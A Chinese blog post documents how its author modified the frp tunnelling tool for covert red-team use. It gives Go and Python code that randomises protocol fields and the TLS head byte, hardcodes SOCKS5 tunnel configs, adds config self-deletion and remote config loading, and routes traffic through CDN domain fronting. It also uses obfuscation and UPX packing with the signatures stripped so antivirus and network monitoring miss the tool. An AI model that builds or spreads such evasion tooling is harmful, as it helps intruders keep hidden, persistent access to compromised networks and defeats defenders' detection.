FRP改造笔记

0x01 介绍

本文基于frp 0.38.1版本进行的修改。

克隆最新frp版本,开始进行修改,由于我是不会go的废物 基本上都是按照着大佬的文章进行修改,所以本文算是简单记录下我改的地方,和学习go的笔记,并没有什么新东西。

0x02 FRP流量特征修改

客户端启动时,会向服务端发送认证信息。(图中version是已被修改过的信息)

https://images.atsud0.me/images/post/20220115-16:51:31-_cB1G0H_aPQLzc_cB1G0H_1642236691283_cB1G0H_aPQLzc.png

修改版本号信息,pkg/utils/version.go处,需要注意的是如果修改的版本号过小,则会出现连接问题。(后面发现,如果这里改成0.99.99也不行,不能跨平台连接。如Winodw客户端 无法连接Linux服务端。总结:不建议改。)

https://images.atsud0.me/images/post/20220115-16:54:18-_F0MSBa_URIs0w_F0MSBa_1642236858170_F0MSBa_URIs0w.png

此外可以修改pkg/msg/msg.go文件处的结构体。这里定义了登录服务器以及相关的回显信息。

https://images.atsud0.me/images/post/20220115-18:48:33-_RHZp9p_bvHDjh_RHZp9p_1642243713245_RHZp9p_bvHDjh.png

这里简单写了个python小脚本方便替换

1
2
3
4
5
6
7
8
9
10
11
import re
import random
import string

msg_file = "./pkg/msg/msg.go"

with open(msg_file, 'r', encoding='utf-8') as f1, open(f"{msg_file}.bak", 'w+', encoding='utf-8') as f2:
re1 = re.compile("json:\"(.*?)\"")
for line in f1:
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8))
f2.write(re.sub(re1, f"json:\"{ran_str}\"", line))

效果

https://images.atsud0.me/images/post/20220115-18:45:17-_DTkGGl_oiPevl_DTkGGl_1642243517078_DTkGGl_oiPevl.png

但是这样显然还是很有破绽,让我们看看怎么做的更完美一点。

TLS_ONLY

在不启用压缩的情况下,进行代理连接,在流量中也是能够发现攻击者连接frp的痕迹,比如这里就是

6T…. : 该连接的配置名称

fsno….: 连接的源IP

H8….:frps服务器的地址(这里服务器地址IP是10.0.8.5,是因为获取的服务器本机的网卡地址。如果服务器ifconfig看到的地址是公网ip,那这里就是公网ip)

xlP5… : 连接的源端口

29….:frps的代理端口

https://images.atsud0.me/images/post/20220115-19:14:17-_FPvBLC_JVX4fR_FPvBLC_1642245257345_FPvBLC_JVX4fR.png

所以我们在配置文件中打开TLS_ONLY。

服务端需要在frps配置文件中设置tls_only选项。

1
2
3
4
5
6
7
[common]
bind_port = frps_port
#log_file = /tmp/frps.log
#log_level = info
token = YOUR_TOKEN
allow_ports = frps_allow_client_open_port
tls_only = true

同样客户端中也需要启用tls连接选项。

1
2
3
4
5
6
7
8
9
10
[common]
server_addr = frps_addr
server_port = frps_port
token = YOUR_TOKEN
tls_enable = true

[sock5]
type = tcp
remote_port = frps_open_port
plugin = socks5

启用tls_only后再次抓包。

https://images.atsud0.me/images/post/20220115-19:22:55-_GqWaPr_n5CTb8_GqWaPr_1642245775654_GqWaPr_n5CTb8.png

修改客户端使用Proxy的流量特征

如果不想开启TLS选项的话,又不想在配置代理时暴露服务器IP和本机IP的话,修改server/proxy/proxy.go文件。把源地址和目的地址写死127.0.0.1(任君修改)。

https://images.atsud0.me/images/post/20220115-19:39:53-_qwl5PS_h2o2AF_qwl5PS_1642246793115_qwl5PS_h2o2AF.png

可以发现记录的源地址和目的地址已经都变成127.0.0.1了。

https://images.atsud0.me/images/post/20220115-19:44:02-_3DAva1_MSkBiY_3DAva1_1642247042425_3DAva1_MSkBiY.png

TLS默认字节修改

frp的建立发起的第一个包,默认是0x17。只需修改pkg/util/net/tls.go处的代码。

https://images.atsud0.me/images/post/20220116-00:43:47-_j3FdCB_txhy5Y_j3FdCB_1642265027721_j3FdCB_txhy5Y.png

https://images.atsud0.me/images/post/20220116-00:42:07-_xo1sEG_yzydGl_xo1sEG_1642264927458_xo1sEG_yzydGl.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
var (
//FRPTLSHeadByte = 0x17
FRPTLSHeadByte = 0x88
)

func WrapTLSClientConn(c net.Conn, tlsConfig *tls.Config, disableCustomTLSHeadByte bool) (out net.Conn) {
if !disableCustomTLSHeadByte {
c.Write([]byte{byte(FRPTLSHeadByte), byte(0x61), byte(0x62)})
}
out = tls.Client(c, tlsConfig)
return
}

func CheckAndEnableTLSServerConnWithTimeout(
c net.Conn, tlsConfig *tls.Config, tlsOnly bool, timeout time.Duration,
) (out net.Conn, isTLS bool, custom bool, err error) {

//sc, r := gnet.NewSharedConnSize(c, 2)
sc, r := gnet.NewSharedConnSize(c, 4)
//buf := make([]byte, 1)
buf := make([]byte, 3)
var n int
c.SetReadDeadline(time.Now().Add(timeout))
n, err = r.Read(buf)
c.SetReadDeadline(time.Time{})
if err != nil {
return
}

//if n == 1 && int(buf[0]) == FRPTLSHeadByte {
if n == 3 && int(buf[0]) == FRPTLSHeadByte {
out = tls.Server(c, tlsConfig)
isTLS = true
custom = true
} else if n == 1 && int(buf[0]) == 0x16 {
out = tls.Server(sc, tlsConfig)
isTLS = true
} else {
if tlsOnly {
err = fmt.Errorf("non-TLS connection received on a TlsOnly server")
return
}
out = sc
}
return
}

可以看到建立连接发送的第一个包已经从1字节变成了3字节。但是后面发送的一个包还是243字节。

https://images.atsud0.me/images/post/20220116-00:50:32-_TWNaYA_UqZn9O_TWNaYA_1642265432758_TWNaYA_UqZn9O.png

0x03 功能改造

无配置文件落地-改法1

如果只想要无配置文件就能执行的话,可以直接照着这里改。

修改文件pkg/config/parse.go,,修改为以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

func ParseClientConfig(filePath string) (
cfg ClientCommonConf,
pxyCfgs map[string]ProxyConf,
visitorCfgs map[string]VisitorConf,
err error,
) {
var fileContent string = `[common]
server_addr = 1.1.1.1
server_port = 65534
token = YourToken
tls_enable = true
[ssh]
type = tcp
remote_port = 60001
plugin = socks5
plugin_user = hello
plugin_passwd = hello
`
var content []byte
content, err = GetRenderedConfFromFile(filePath)
if err != nil{
var content []byte = []byte(fileContent)
if err != nil{
return
}
}
............
............
............
............
............
// Parse all proxy and visitor configs.
pxyCfgs, visitorCfgs, err = LoadAllProxyConfsFromIni(cfg.User, configBuffer.Bytes(), cfg.Start)
if err != nil {
return
}
return
}

https://images.atsud0.me/images/post/20220115-23:50:30-_nu3hNn_407LJp_nu3hNn_1642261830764_nu3hNn_407LJp.png

测试效果,客户端文件落地即可执行。

https://images.atsud0.me/images/post/20220115-23:54:54-_wFkdyQ_KbEPbw_wFkdyQ_1642262094456_wFkdyQ_KbEPbw.png

但是特征特别明显,Linux下直接strings frpc客户端就能获取到程序硬编码的信息。

https://images.atsud0.me/images/post/20220116-10:15:51-_zGmFms_wUFxF7_zGmFms_1642299351060_zGmFms_wUFxF7.png

所以可见其实配置信息硬编码进去还是不太安全,这里我能想到的办法就是加壳了,但是如果遇到会脱壳的蓝队对他们来说估计也是轻轻松松。

命令方式开启socks5代理

修改配置文件cmd/frpc/sub/tcp.go添加参数即可

https://images.atsud0.me/images/post/20220117-13:18:07-_RLZUUQ_WJvggH_RLZUUQ_1642396687332_RLZUUQ_WJvggH.png

https://images.atsud0.me/images/post/20220117-13:42:18-_pFjJJJ_JjOvff_pFjJJJ_1642398138010_pFjJJJ_JjOvff.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
func init() {
RegisterCommonFlags(tcpCmd)

tcpCmd.PersistentFlags().StringVarP(&proxyName, "proxy_name", "n", "", "proxy name")
tcpCmd.PersistentFlags().StringVarP(&localIP, "local_ip", "i", "127.0.0.1", "local ip")
tcpCmd.PersistentFlags().IntVarP(&localPort, "local_port", "l", 0, "local port")
tcpCmd.PersistentFlags().IntVarP(&remotePort, "remote_port", "r", 0, "remote port")
tcpCmd.PersistentFlags().BoolVarP(&useEncryption, "ue", "", false, "use encryption")
tcpCmd.PersistentFlags().BoolVarP(&useCompression, "uc", "", false, "use compression")

//添加这几行
tcpCmd.PersistentFlags().StringVarP(&pluginName, "plugin", "", "", "plugins")
tcpCmd.PersistentFlags().StringVarP(&pluginUser, "plugin_user", "", "", "plugins user name")
tcpCmd.PersistentFlags().StringVarP(&pluginPass, "plugin_pass", "", "", "plguins user password")
//END
rootCmd.AddCommand(tcpCmd)
}

var tcpCmd = &cobra.Command{
Use: "tcp",
Short: "Run frpc with a single tcp proxy",
......
......
......
......
......
......
cfg.UseEncryption = useEncryption
cfg.UseCompression = useCompression
cfg.Plugin = pluginName
//添加这几行
if cfg.Plugin != "" {
cfg.PluginParams = make(map[string]string)
cfg.PluginParams["plugin_user"] = pluginUser
cfg.PluginParams["plugin_passwd"] = pluginPass
}
//END
....
...

cmd/frpc/sub/root.go

https://images.atsud0.me/images/post/20220117-13:19:47-_WFNfES_z2T17J_WFNfES_1642396787195_WFNfES_z2T17J.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
var (
cfgFile string
showVersion bool

serverAddr string
user string
protocol string
token string
logLevel string
logFile string
logMaxDays int
disableLogColor bool

proxyName string
localIP string
localPort int
remotePort int
useEncryption bool
useCompression bool
customDomains string
subDomain string
httpUser string
httpPwd string
locations string
hostHeaderRewrite string
role string
sk string
multiplexer string
serverName string
bindAddr string
bindPort int

tlsEnable bool
//添加这几行
pluginName string
pluginUser string
pluginPass string
//END
kcpDoneCh chan struct{}
)

编译后使用(感觉适合在Windows下这样用,Linux可以从进程中看到相关命令)。

1
./frpc tcp -s 1.1.1.1:7000 -r 60001 -t YourToken  --plugin socks5 --plugin_user hello --plugin_pass 123456 --tls_enable -n `openssl rand -base64 8`

https://images.atsud0.me/images/post/20220117-13:44:37-_FOqGSR_p2celn_FOqGSR_1642398277831_FOqGSR_p2celn.png

配置文件自删除

既然硬编码不安全,那我们还是传配置文件吧,但是为了不让我们忘记删除配置文件,加个自动删除配置文件的功能吧。

在frpc/root.go里面进行修改,在init中注册参数,然后判断参数是否开启,开启就删除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
var (
cfgFile string
showVersion bool

serverAddr string
user string
protocol string
token string
logLevel string
logFile string
logMaxDays int
disableLogColor bool

proxyName string
localIP string
localPort int
remotePort int
useEncryption bool
useCompression bool
customDomains string
subDomain string
httpUser string
httpPwd string
locations string
hostHeaderRewrite string
role string
sk string
multiplexer string
serverName string
bindAddr string
bindPort int

tlsEnable bool
//添加这几行
delEnable bool
//END
kcpDoneCh chan struct{}
)

func init() {
rootCmd.PersistentFlags().StringVarP(&cfgFile, "config", "c", "./frpc.ini", "config file of frpc")
rootCmd.PersistentFlags().BoolVarP(&showVersion, "version", "v", false, "version of frpc")
//添加这行
rootCmd.PersistentFlags().BoolVarP(&delEnable, "del_enable", "", false, "enable auto delete frpc.ini")
//END
kcpDoneCh = make(chan struct{})
}

func startService(
cfg config.ClientCommonConf,
pxyCfgs map[string]config.ProxyConf,
visitorCfgs map[string]config.VisitorConf,
cfgFile string,
) (err error) {

log.InitLog(cfg.LogWay, cfg.LogFile, cfg.LogLevel,
cfg.LogMaxDays, cfg.DisableLogColor)

if cfg.DNSServer != "" {
s := cfg.DNSServer
if !strings.Contains(s, ":") {
s += ":53"
}
// Change default dns server for frpc
net.DefaultResolver = &net.Resolver{
PreferGo: true,
Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
return net.Dial("udp", s)
},
}
}
svr, errRet := client.NewService(cfg, pxyCfgs, visitorCfgs, cfgFile)
if errRet != nil {
err = errRet
return
}
//添加这几行
if delEnable == true {
os.Remove(cfgFile)
}
//END
// Capture the exit signal if we use kcp.
if cfg.Protocol == "kcp" {
go handleSignal(svr)
}

err = svr.Run()
if err == nil && cfg.Protocol == "kcp" {
<-kcpDoneCh
}
return
}

使用方法:多带一个—del_enable就行,也可以给一个短参数。

1
./frpc --del_enable -c frpc.ini

一次满足三个愿望-(无配置文件落地改法2)

pkg/config/parse.go不做任何修改,只修pkg/config/value.go的GetRenderedConfFromFile函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
func GetRenderedConfFromFile(path string) (out []byte, err error) {
var b []byte
rawUrl := path
rand.Seed(time.Now().UnixNano())
var randstr string

for i := 0; i < 10; i++ {
num := rand.Intn(10)
randstr += strconv.Itoa(num)
}
var FileContent string = `[common]
server_addr = 1.1.1.1
server_port = 1234
token = Test
tls_enable = true
[` + randstr + `]
type = tcp
remote_port = 60001
plugin = socks5
#plugin_user = hello
#plugin_passwd = hello
`
if strings.Contains(rawUrl, "http") {
log.Info("Remote Configurations")
response, _err1 := http.Get(path)
if _err1 != nil {
log.Error("Remote frpc.ini not found...now load default config")
log.Info("Internal Configurations")
var content []byte = []byte(FileContent)
out, err = RenderContent(content)
if err != nil {
return
}
return
}
defer response.Body.Close()
body, _err := ioutil.ReadAll(response.Body)
if _err != nil {
log.Error("Remote frpc.ini not found...now load default config")
log.Info("Internal Configurations")
var content []byte = []byte(FileContent)
out, err = RenderContent(content)
if err != nil {
return
}
return
}
http_content := string(body)
var content []byte = []byte(http_content)
out, err = RenderContent(content)
return

} else {
log.Info("Local Configurations")
b, err = os.ReadFile(path)
if err != nil {
log.Error("Local frpc.ini not found...now load default config")
log.Info("Internal Configurations")
var content []byte = []byte(FileContent)
out, err = RenderContent(content)
if err != nil {
return
}
return
}
local_content := string(b)
var content []byte = []byte(local_content)
out, err = RenderContent(content)
return
}
}

测试效果,可以看到我当前目录下是没有frpc.ini文件的。

https://images.atsud0.me/images/post/20220116-02:20:03-_gmu3gi_V2MM5O_gmu3gi_1642270803570_gmu3gi_V2MM5O.png

如果不需要配置硬编码在程序里可以删除以下代码。

1
2
3
4
5
6
7
8
9
10
11
12
var FileContent string = `
........
.......
`

log.Error("Local frpc.ini not found...now load default config")
log.Info("Internal Configurations")
var content []byte = []byte(FileContent)
out, err = RenderContent(content)
if err != nil {
return
}

0x04 域前置隐藏frp

cs有域前置,那frp也能不能用域前置连接的。由于frp已经支持websocket的连接,所以可以直接尝试能否套cdn来连上frp服务器。

测试的frpc配置文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
[common]
server_addr = frp.xxxxx.site # 你的域名
server_port = 8080
token = YourToken
#tls_enable = true #这里关闭TLS的原因是方便调试,正常使用请打开。
protocol = websocket

[test_sock5]
type = tcp
remote_port = 60001
plugin = socks5
use_encryption = true
use_compression = true

发现是可以连接上的,这也在某种程度上说明了域前置是可行的。

https://images.atsud0.me/images/post/20220118-20:56:12-_Juz35M_atgqwZ_Juz35M_1642510572406_Juz35M_atgqwZ.png

其次,由于连接的特征~!frp过于明显,所以我们可以修改成其他的,比如什么/~!json,甚至是其他常见目录。由于使用的是websocket,所以如果要使用域前置的话,CDN要选择支持websocket协议的厂商,比如fastly就不行。

由于frp的websocket实现是引用了其他依赖库([email protected]/websocket/),所以需要修改依赖库。这里比较麻烦,这里我修改的虽然能实现域前置功能,但是存在一些小问题。思路大致就是客户端添加一个配置选项,可以指定连接的host头,原有的server_addr配置就是域前置多地ping找到的ip或者是域名。修改的地方比较多,可以直接看修改后的源码。这里就不一步步贴图了。

https://images.atsud0.me/images/post/20220120-16:19:10-_V3EqTc_mf41EO_V3EqTc_1642666750508_V3EqTc_mf41EO.png

调用链

https://images.atsud0.me/images/post/20220120-17:06:31-_5ipo6Y_WjgknA_5ipo6Y_1642669591717_5ipo6Y_WjgknA.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[common]
server_addr = CDNIP/域名
server_port = 80
token = YourToken
#tls_enable = true
protocol = websocket
websocket_domain = 回源域名

[test_sock5]
type = tcp
remote_port = 60001
plugin = socks5
use_encryption = true
use_compression = true

实现效果:

https://images.atsud0.me/images/post/20220120-16:27:31-_p7fHgn_0MqPbE_p7fHgn_1642667251049_p7fHgn_0MqPbE.jpg

https://images.atsud0.me/images/post/20220120-16:26:44-_lljH1O_59MI5e_lljH1O_1642667204858_lljH1O_59MI5e.png

存在的问题

问题1-闲置断连

在测试过程中发现,如果代理闲置了10秒就发送心跳包,但是可能由于域前置的问题,发送的心跳包有问题,导致断连,但是一直在用的话倒是不影响使用?

20220120-17:32:06-_Fj2s4T_Untitled-frp_Fj2s4T_1642671126256_Fj2s4T_Untitled-frp

尝试修改了心跳和超时相关的配置文件,但是没有用。不过看到注释有个todo,感觉这个思路是可以解决的。自己进行了一些修改和调试,但是还是无法解决,只能等官方实现后再尝试。

1
// TODO(fatedier): disable heartbeat if TCPMux is enabled.

这个问题如果无法解决的话,就有点怪。因为流量设备上面可能会看到客户端 10秒左右 请求一次 http://CDN地址/frpsocket

问题2-CDN缓存

在修改websocket请求的路径后,刚编译完成是可以使用的。下班后,第二天上班再测试就使用不了,后来重新改了一下请求的路径又能用了。我猜是cdn缓存的问题。所以每次使用前还得重编译一下,这也太麻烦了,不过我觉得关闭cdn的缓存机制,可能可以解决。

思考

在添加域前置功能后,前面说的无配置文件落地,和命令行执行都可以不担心泄露服务器的真实ip进行使用了。但是目前的问题1 闲置断连的情况,以我这浅薄的go代码能力暂时无法解决这个问题,只能等frp官方实现客户端禁用心跳的功能再试试了。

0x05 压缩体积&代码混淆

因为一般就Windows有杀软,所以这里用windows平台的作为演示,在不做任何修改的情况下,编译出来丢上vt的结果,发现卡巴总是能精确的查杀到frp的特征。

https://images.atsud0.me/images/post/20220118-14:54:03-_WpbaQh_NXulMk_WpbaQh_1642488843723_WpbaQh_NXulMk.png

upx套个壳。虽然能把体积压缩到3-4M,但是查杀率提升了。

https://images.atsud0.me/images/post/20220118-14:59:30-_N81AtY_toKvRT_N81AtY_1642489170431_N81AtY_toKvRT.png

我这边尝试了代码混淆不加壳的方式进行了一次查杀,可以发现和前面不加壳的对比,还是挺明显的。。

https://images.atsud0.me/images/post/20220118-15:03:10-_AesSFV_zeKgK5_AesSFV_1642489390727_AesSFV_zeKgK5.png

代码混淆+加UPX壳。主流杀软也不报,看起来还行。

加了upx壳之后,可以直接使用upx -d脱壳。但是可以用winhex等工具把诸如upx1、upx2、upx0、upx!等用00替换后,就无法直接使用upx -d脱壳了。如图,去除了upx特征的exe。

https://images.atsud0.me/images/post/20220118-17:53:02-_FqxEDB_obKUDi_FqxEDB_1642499582654_FqxEDB_obKUDi.png

由于域前置问题解决不了心态崩了,没有测试动态免杀效果。

0x06 参考链接

修改之后的源码:

https://github.com/atsud0/frp-modify